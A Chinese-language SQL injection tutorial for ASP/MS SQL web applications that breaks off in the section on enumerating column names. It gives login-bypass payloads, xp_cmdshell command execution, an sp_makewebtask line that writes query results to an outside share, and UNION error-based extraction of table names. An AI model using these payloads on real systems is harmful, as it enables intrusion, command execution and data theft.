一篇比較老的SQL注入技巧的演練---SQL Injection技巧的演練

摘要:

下文是爲了幫助那些希望能掌握這個漏洞的運用、並想得知如何保護自己免受這種漏洞***的人瞭解該漏洞的本質而寫的。

詳細資料:

1.0緒論

當一臺機器只開放了80端口(這裏指的是提供HTTP服務)時,可能你的大多數漏洞掃描器都不能給到你很多有價值的信息(漏洞信息),倘若這臺機器的管理員是經常爲他的服務器打PATCH的話,我們只好把***的矛頭指向WEB服務***了。SQL注入***是WEB***類型中的一種,這種***沒有什麼特殊的要求,只需要對方提供正常的HTTP服務,且不需要理會管理員是否是個“PATCH狂”。這類***主要是針對某種WEB處理程序(如ASP,JSP,PHP,CGI等等)的而進行。



這篇文章不是在爲閣下介紹什麼新“玩意”,SQL注入***以前就一直廣爲流傳着。我之所以現在才寫這篇文章是因爲我想把我最近實驗所得的某些經驗與積累記錄下來,希望能給予讀者某些參考吧。你也可以在“9.0我從哪裏可以得到更多相關資料?”的欄目中找到更多其他人所寫的、關於SQL注入技巧的相關資料。


1.1什麼是SQL注入?

這種***的要訣在於將SQL的查詢/行爲命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到***者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然後動態的構成SQL請求發給數據庫的。舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將該用戶提交上來的用戶名與密碼加進SQL詢問請求發給數據庫,用於確認該用戶提交的身份驗證信息是否有效。在SQL注入***的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的‘領域’區來達到***的目的。


1.2SQL注入需要什麼(工具等)呢?


一個(些)網頁瀏覽器。

2.0什麼信息是你所需要找尋的呢?


首先你需要找到允許提交數據的頁面,如:登陸頁面、搜索頁面、反饋頁面、等等。有的時候,某些HTML頁面會通過POST命令將所需要的參數傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關的參數。儘管如此,你仍可以通過查看HTML的源代碼中的"FORM"標籤來辨別是否有參數傳遞,相關的代碼如下:


<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>


在<FORM>與</FORM>的標籤對間的每一個參數傳遞都有可能可以被利用(利用在***的情況下)着SQL注入。


2.1當你找不到有輸入行爲的頁面時應該怎麼辦呢?


你可以找一些相關ASP、JSP、CGI或PHP這類型的頁面。嘗試找一些帶有某些參數的特殊URL,如:

http://www.XOXOXOXOXOXO.com/index.asp?id=10



3.0你應該如何測試這些缺陷是否存在呢?


首先先加入某些特殊的字符標記,輸入如:


hi or 1=1--


尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:


- Login: hi or 1=1--

- Pass: hi or 1=1--

- http://www.XOXOXOXOXOXO.com/index.asp?id=hi or 1=1--


如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬盤,修改其隱藏部分的值,如:


<FORM action=http://www.XOXOXOXOXOXO.com/Search/search.asp method=post>

<input type=hidden name=A value="hi or 1=1--">

</FORM>


如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而‘成功登陸’了。


3.1爲什麼使用的是 or 1=1--呢?


讓我們來看看其他例子中使用or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:


http://www.XOXOXOXOXOXO.com/index.asp?category=food


在上面這條URL中,category是一個變量名,而food是賦予該變量的值。爲了做到這些(鏈接成功),這個ASP必須包含以下相關的代碼(下面也是我們爲了演示這個實驗所寫的代碼):


v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory=" & v_cat & ""

set rs=conn.execute(sqlstr)


正如我們所看到的,變量值將會預先處理然後賦值於v_cat,也就是說該SQL語句將會變爲:


SELECT * FROM product WHERE PCategory=food


這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是food了。現在設想一下如果我們把該URL改成這樣的話:


http://www.XOXOXOXOXOXO.com/index.asp?category=food or 1=1--


現在我們的變量v_cat的值就等同於"food or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,那條SQL請求將會是:


SELECT * FROM product WHERE PCategory=food or 1=1--


現在這個請求將會從product表中選取每一條信息而並不會去理會PCategory是否等於food。至於結尾部分的那兩條--(破折號)則用於‘告訴’MS SQL SERVER忽略結尾最後的那個(單引號)。有的時候也可以使用#(井號)來代替--(雙破折號)在這裏的用法。


無論如何,如果對方不是一臺SQL服務器(這裏指的是MS SQL SERVER),或者你不能使用簡單的方法去忽略最後的那個單引號的話,你可以嘗試:


or a=a


這樣的話整個SQL請求將會變爲:


SELECT * FROM product WHERE PCategory=food or a=a


它也會返回相同的結果。


根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:


or 1=1--

" or 1=1--

or 1=1--

or a=a

" or "a"="a

) or (a=a



4.0如何在SQL注入請求中加入即時執行命令?


能夠進行SQL注入的服務器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命令執行請求。默認的MS SQL服務器是運行在SYSTEM用戶級別下,這等同於系統管理員的執行與訪問權限。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執行遠程系統的某些命令:


; exec master..xp_cmdshell ping 10.10.1.2--


若失敗可以嘗試一下使用"(雙引號)代替(單引號)。


上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟着一條新SQL命令)。若要檢驗上面這條PING命令是否成功,你可以在10.10.1.2這臺機器上監聽ICMP請求包,並確認它是否來自那臺SQL服務器就可以了:


#tcpdump icmp


如果你不能從那臺SQL服務器中得到PING請求的話,並在SQL請求的返回值中得到錯誤信息的話,有可能是因爲該SQL服務器的管理員限制了WEB用戶訪問這些儲存過程了。



5.0如何可以獲取到我發的SQL請求的相關返回信息呢?


我們可以使用sp_makewebtask處理過程的相關請求寫入URL:


; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"


但先決條件是目標主機的文件夾“share”屬性必須設置爲“Everyone”。



6.0如何可以從數據庫返回的ODBC錯誤信息得到某些重要的數據呢?


我們可以通過發送精心構造的SQL請求迫使MS SQL SERVER從返回的信息中透露出我們想得到的信息(如表名、列名等)。比方有這麼一個URL:


http://www.XOXOXOXOXOXO.com/index.asp?id=10


在上面的URL中我們可以嘗試使用UNION子句的方式在整數10之後加入其他請求字符串進去的,如:


http://www.XOXOXOXOXOXO.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--


上例中的系統表INFORMATION_SCHEMA.TABLES包括了這臺服務器中所有表的信息。至於TABLE_NAME區域就包括了每一個表的名稱。我們之所以要選擇這樣寫是因爲我們知道它是一定存在的。換言之我們的SQL詢問請求就是:


SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-


服務器接到請求數據後必將返回數據庫的第一個表名。當我們使用UNION子句將請求字符串加入整數10之後時,MS SQL SERVER會嘗試轉換該字符串爲整數值。既然我們不能把字符串(nvarchar)轉爲整數型(int)時,系統就會產生錯誤。服務器會顯示如下錯誤信息:


Microsoft OLE DB Provider for ODBC Drivers error 80040e07

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

table1 to a column of data type int.

/index.asp, line 5


非常好,這條錯誤信息告訴了我們轉換出現錯誤的所有相關信息(包括我們想知道的表名)。在這個實例中,我們知道了第一個表名是“table1”。若要得到下一個表名,我們可以發送這樣的請求:


http://www.XOXOXOXOXOXO.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH

ERE TABLE_NAME NOT IN (table1)--


我們也可以通過LIKE來找尋相關的特殊字:


http://www.XOXOXOXOXOXO.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25login%25--


輸出得到:


Microsoft OLE DB Provider for ODBC Drivers error 80040e07

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

admin_login to a column of data type int.

/index.asp, line 5


6.1如何找出表中的列名?


我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:


http://www.XOXOXOXOXOXO.com/inde


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章